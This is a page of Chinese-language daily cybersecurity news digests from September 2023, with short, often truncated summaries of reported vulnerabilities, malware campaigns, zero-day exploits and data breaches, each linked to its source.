2、朝鲜攻击者针对安全研究人员进行网络攻击活动
https://blog.google/threat-analysis-group/active-north-korean-campaign-targeting-security-researchers/ 朝鲜攻击者使用 X(以前称为 Twitter)等社交媒体网站与目标建立融洽的关系。在一个案例中,他们进行了长达数月的对话,试图与安全研究人员就共同感兴趣的话题进行合作。通过 X 进行初步联系后,他们转向使用 Signal、WhatsApp 或 Wire 等加密消息应用程序。一旦与目标研究人员建立了关系,威胁行为者就会发送一个恶意文件,其中包含流行软件包中的至少一个 0day。成功利用后,s
3、攻击者利用苹果零点击漏洞部署Pegasus间谍软件
https://citizenlab.ca/2023/09/blastpass-nso-group-iphone-zero-click-zero-day-exploit-captured-in-the-wild/ 研究人员表示,苹果今天在紧急安全更新中修复的两个零日漏洞被滥用,用作零点击漏洞利用链的一部分,将 NSO Group 的 Pegasus 商业间谍软件部署到打过补丁的 iPhone 上。这两个漏洞分别为 CVE-2023-41064 和 CVE-2023-41061,允许攻击者通过包含恶意图像的 PassKit 附件感染运行 iOS 16.6 且属于华盛顿特区民间社会组织的完整补丁
4、W3LL Store地下市场售卖针对Microsoft 365帐户的恶意软件
https://www.group-ib.com/media-center/press-releases/w3ll-phishing-report/ 过去六年来,一个以前未记录的“网络钓鱼帝国”与旨在破坏 Microsoft 365 商业电子邮件帐户的网络攻击有关。攻击者创建了一个名为 W3LL Store 的隐藏地下市场,该市场为至少 500 名攻击者组成的封闭社区提供服务,这些攻击者可以购买名为 W3LL Panel 的自定义网络钓鱼工具包(旨在绕过 MFA),以及其他 16 个完全定制的工具商业电子邮件泄露(BEC)攻击,据估计,2022 年 10 月至 2022 年 10 月期间,网
5、攻击者滥用Apache RocketMQ存在的严重漏洞
https://www.cisa.gov/news-events/alerts/2023/09/06/cisa-adds-one-known-vulnerability-catalog 美国网络安全和基础设施安全局 (CISA) 已在其已知被利用漏洞 (KEV) 目录中添加了一个严重程度为 CVE-2023-33246 的问题,该问题影响 Apache 的 RocketMQ 分布式消息传递和流媒体平台。目前,多个威胁参与者可能正在利用该漏洞在受影响的系统(RocketMQ 版本 5.1.0 及更低版本)上安装各种有效负载。无需身份验证即可利用该漏洞,并且 至少从 6 月份起, DreamBu
6、谷歌即将启用Chrome浏览器实时网络钓鱼防护
https://blog.google/products/chrome/Google-chrome-new-features-redesign-2023/ 谷歌今天宣布,它将弃用标准的 Google Chrome 安全浏览功能,并在未来几周内让所有人使用增强型安全浏览功能,为所有用户在浏览网页时提供实时网络钓鱼防护。自 2007 年以来,Google Chrome 就利用了安全浏览安全功能,保护用户免受推送恶意软件或显示网络钓鱼页面的恶意网站的侵害。浏览网页时,Chrome 会检查您正在访问的域是否在本地恶意 URL 列表中,如果是,则会阻止该网站并显示警告。但是,由于不良 URL 列表是在
7、研究人员披露针对Mac用户的Atomic Stealer恶意软件新变种
https://www.malwarebytes.com/blog/threat-intelligence/2023/09/atomic-macos-stealer-delivered-via-malvertising 研究人员最近捕获了一场同时传播 Windows 和 Mac 恶意软件的活动,后者是适用于 Mac 的新型但流行的 Atomic Stealer (AMOS) 的更新版本。AMOS 于 2023 年 4 月首次被宣传为 Mac OS 的窃取者,重点关注加密资产,能够从浏览器和苹果钥匙串中获取密码,并具有文件抓取器。开发人员一直在积极致力于该项目,并于六月底发布了新版本。购买该工
8、思科BroadWorks平台存在漏洞可导致身份验证绕过
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-bw-auth-bypass-kCggMWhX 影响思科 BroadWorks 应用交付平台和思科 BroadWorks Xtended 服务平台的严重漏洞可能允许远程攻击者伪造凭证并绕过身份验证。思科 BroadWorks 是面向企业和消费者的云通信服务平台,而上述两个组件用于应用程序管理和集成。该漏洞由思科安全工程师内部发现,编号为 CVE-2023-20238,CVSS 最高评分为 10.0(严重)。通过利用该漏洞
9、强生公司披露IBM数据泄露对患者造成的影响
https://www.prnewswire.com/news-releases/ibm-addresses-data-incident-for-janssen-carepath-database-301919907.html 强生医疗保健系统公司(Janssen)已通知其 CarePath 客户,他们的敏感信息在涉及 IBM 的第三方数据泄露事件中遭到泄露。IBM 是强生的技术服务提供商。具体来说,它管理支持其功能的 CarePath 应用程序和数据库。CarePath 是一款应用程序,旨在帮助患者获得杨森药物、针对符合条件的处方提供折扣和节省成本的建议、提供保险范围指导以及提供药物补充和
10、勒索软件Dunghill Leak称窃取了旅行预订公司Sabre的数据
https://techcrunch.com/2023/09/06/ransomware-gang-claims-credit-for-sabre-data-breach/ 旅行预订巨头 Sabre 表示,在勒索集团的泄密网站上出现了一批据称从该公司窃取的文件后,该公司正在调查有关网络攻击的指控。Sabre 是一家旅行预订系统,也是航空旅客和预订数据的主要提供商,其软件和数据用于为航空公司和酒店预订、办理登机手续和应用程序提供支持。许多美国航空公司和连锁酒店都依赖该公司的技术。Sabre 称了解到威胁组织提出的数据泄露指控,我们目前正在调查以确定其真实性。Dunghill Leak 组织在其
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年09月08日
1、研究人员披露Camouflage Hunter组织攻击活动
https://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?seq=33936 伪装猎人(Camouflage Hunter),也称为 APT-C-60 或 APT-Q-12,自 2018 年以来一直针对中国人事咨询和贸易相关领域。自 2021 年之后,Camouflage Hunter 开始活跃在日本、新加坡、韩国。早期人们认为他们通过攻击中国的人事咨询和贸易相关领域来获取经济利益,但在2023年2月之后的攻击中,也疑似针对政治、外交和军事官员的攻击,因此他们的目标可能不是简单的经济收益。研究人员披露 Camou
2、黑客利用开源存储系统MinIO破坏企业网络
https://www.securityjoes.com/post/new-attack-vector-in-the-cloud-attackers-caught-exploiting-object-storage-services 黑客正在利用最近的两个 MinIO 漏洞来破坏对象存储系统并访问私人信息、执行任意代码,并可能接管服务器。MinIO 是一种开源对象存储服务,提供与 Amazon S3 的兼容性,并能够存储大小高达 50TB 的非结构化数据、日志、备份和容器映像。其高性能和多功能性,特别是对于大规模 AI/ML 和数据湖应用程序,使 MinIO 成为流行的、经济高效的选择。响应
3、越南攻击者利用恶意广告针对Facebook企业帐户发起攻击
https://thehackernews.com/2023/09/vietnamese-cybercriminals-targeting.html 与越南网络犯罪生态系统相关的恶意行为者正在利用 Meta 旗下的 Facebook 等社交媒体平台上的广告作为载体来传播恶意软件。攻击者长期以来一直利用欺诈性广告作为媒介,通过诈骗、恶意广告等手段来瞄准受害者。由于 Ducktail 和 NodeStealer 等活动集群,针对 Meta Business 和 Facebook 帐户的网络攻击在过去一年中越来越流行,这些活动集群已知会袭击在 Facebook 上运营的企业和个人。在网络犯罪分子用
4、APPLE 披露了 IPHONE、MAC 中 2 个新的被利用的零日漏洞
https://securityaffairs.com/150485/hacking/apple-discloses-2-new-actively-exploited-zero-day-flaws-in-iphones-macs.html Apple 推出了紧急安全更新,以解决影响 iPhone 和 Mac 的两个新的被积极利用的零日漏洞。
5、APACHE SUPERSET 中的两个漏洞允许远程攻击服务器
https://securityaffairs.com/150461/hacking/apache-superset-flaws.html Apache Superset 是一个开源数据可视化和数据探索平台,它是用 Python 编写的,基于 Flask Web 框架。版本 2.1.1解决了两个漏洞,分别为 CVE-2023-39265 和 CVE-2023-37941,可被利用来控制 Superset 的元数据数据库。
6、Mirai 僵尸网络变种“Pandora”劫持 Android 电视进行网络攻击
https://thehackernews.com/2023/09/mirai-botnet-variant-pandora-hijacks.html 据观察,一种名为Pandora的Mirai 僵尸网络变种渗透到基于 Android 的廉价电视机和电视盒,并将它们用作僵尸网络的一部分来执行分布式拒绝服务 (DDoS) 攻击。
7、Facebook 已删除 276.7 亿虚假账户,大量真实用户被“误伤”
https://www.freebuf.com/news/377332.html 据Cyber News消息,正有数以千计的用户在X(Twitter)及其他平台上表达对Facebook的不满,因为该平台在打击虚假账户时对他们的正常账户进行了“误伤”。自 2017 年 10 月以来,Facebook 已删除了 276.7 亿个虚假账户。Facebook 每个季度都会删除上亿个、有时甚至超过 10 亿个虚假账户。
8、恶意广告活动传播 Atomic Stealer macOS 恶意软件
https://thehackernews.com/2023/09/mac-users-beware-malvertising-campaign.html 个新的恶意广告活动正在分发名为Atomic Stealer(或 AMOS)的 macOS 窃取恶意软件的更新版本,这表明该恶意软件正在由其作者积极维护。Atomic Stealer 是一款现成的 Golang 恶意软件,每月售价 1,000 美元,首次曝光于 2023 年 4 月。不久之后,在野外检测到了具有扩展信息收集功能的新变体,目标是游戏玩家和加密货币用户。
9、有关英国军事站点的敏感数据可能被 LockBit 泄露
https://www.infosecurity-magazine.com/news/sensitive-data-uk-army-potentially/ 臭名昭著的LockBit勒索软件组织已经暴露了与英国军事和情报网站相关的千兆字节敏感数据。
10、垃圾邮件泛滥,二维码成为重要威胁载体
https://www.helpnetsecurity.com/2023/09/04/phishing-emails-q2-2023/ VIPRE 的一份报告显示,85% 的钓鱼电子邮件在电子邮件内容中使用了恶意链接,垃圾邮件从 2023 年第一季度到第二季度增加了 30%。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年09月07日
1、CMB网络约会平台遭遇黑客入侵导致服务中断
https://coffeemeetsbagel.zendesk.com/hc/en-us/articles/20204630281491 Coffee Meets Bagel 约会平台确认上周的服务中断是由于黑客入侵公司系统并删除公司数据造成的。
2、Chaes恶意软件的新变体针对银行和物流行业发起攻击
https://www.morphisec.com/hubfs/Morphisec_Chae$4_Threat_Profile.pdf Chaes 恶意软件以一种新的、更高级的变体形式回归,其中包括 Google DevTools 协议的自定义实现,用于直接访问受害者的浏览器功能,从而允许其使用 WebSocket 窃取数据。该恶意软件于 2020 年 11 月首次出现,目标是拉丁美洲的电子商务客户。到 2021 年底,研究人员观察到它使用 800 个受感染的 WordPress 网站来传播恶意软件,其业务显着扩大。感染后, Chaes 恶意软件会在受害者的 Chrome 浏览器中安装恶意扩
3、Atlas VPN存在零日漏洞可泄露用户真实IP地址
https://www.reddit.com/r/cybersecurity/comments/167f16e/atlasvpn_linux_client_103_remote_disconnect/ 影响 Linux 客户端的 Atlas VPN 零日漏洞仅通过访问网站即可泄露用户的真实 IP 地址。Atlas VPN 是一款 VPN 产品,提供基于 WireGuard 的经济高效的解决方案,并支持所有主要操作系统。在 Reddit 上共享的概念验证漏洞中,研究人员描述了 Atlas VPN 的 Linux 客户端(特别是最新版本 1.0.3)如何拥有一个通过端口 8076 侦听本地主机
4、谷歌解决了 ANDROID 中被利用的零日漏洞
https://securityaffairs.com/150440/hacking/september-2023-android-security-updates-0day.html Google 于 2023 年 9 月发布了 Android 安全更新,解决了数十个漏洞,其中包括一个被广泛利用的零日漏洞 CVE-2023-35674。
5、华硕路由器受到三个严重远程代码执行漏洞的影响
https://securityaffairs.com/150399/iot/asus-routers-critical-rces.html 华硕路由器 RT-AX55、RT-AX56U_V2 和 RT-AC86U 受到三个关键远程代码执行漏洞的影响,这些漏洞可能允许威胁行为者接管设备。
6、研究人员发现数以千计的热门网站存在敏感信息泄露
https://www.securityweek.com/researchers-find-thousands-of-popular-websites-leaking-secrets/ 代码安全公司 Truffle Security 警告称,Alexa 前 100 万网站列表中的数千个域正在泄露机密,包括凭据。
7、25 个主要汽车品牌在网络安全和隐私方面被 Mozilla 评为不及格
https://www.securityweek.com/25-major-car-brands-get-failing-marks-from-mozilla-for-security-and-privacy/ Mozilla 分析了 25 个主要汽车品牌,并在隐私和安全方面给所有品牌打了不及格的分数。他们收集大量的个人数据,并可以与其他人共享这些数据,而通常未经客户的明确许可。
8、Agent Tesla 恶意软件新变种通过特制 Excel 文档传播
https://www.fortinet.com/blog/threat-research/agent-tesla-variant-spread-by-crafted-excel-document Agent Tesla 恶意软件的一个新变种正在通过网络钓鱼活动进行传播,利用 CVE-2017-11882/CVE-2018-0802 漏洞来访问受害者的设备并窃取敏感信息。
9、黑客行动主义者宣布计划在G20峰会前针对印度组织
https://thecyberexpress.com/g20-summit-2023-cyber-attack-infrastructure/ 黑客组织宣布对印度的数字基础设施进行网络攻击,这与定于2023年9月20日举行的 G20论坛时间重合。
10、研究人员发现PHPFusion CMS中的关键漏洞
https://www.darkreading.com/application-security/researchers-discover-critical-vulnerability-in-phpfusion-cms 经过身份验证的本地文件包含缺陷(编号为 CVE-2023-2453)如果攻击者可以将恶意制作的“.php”文件上传到目标系统上的已知路径,则允许远程执行代码。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

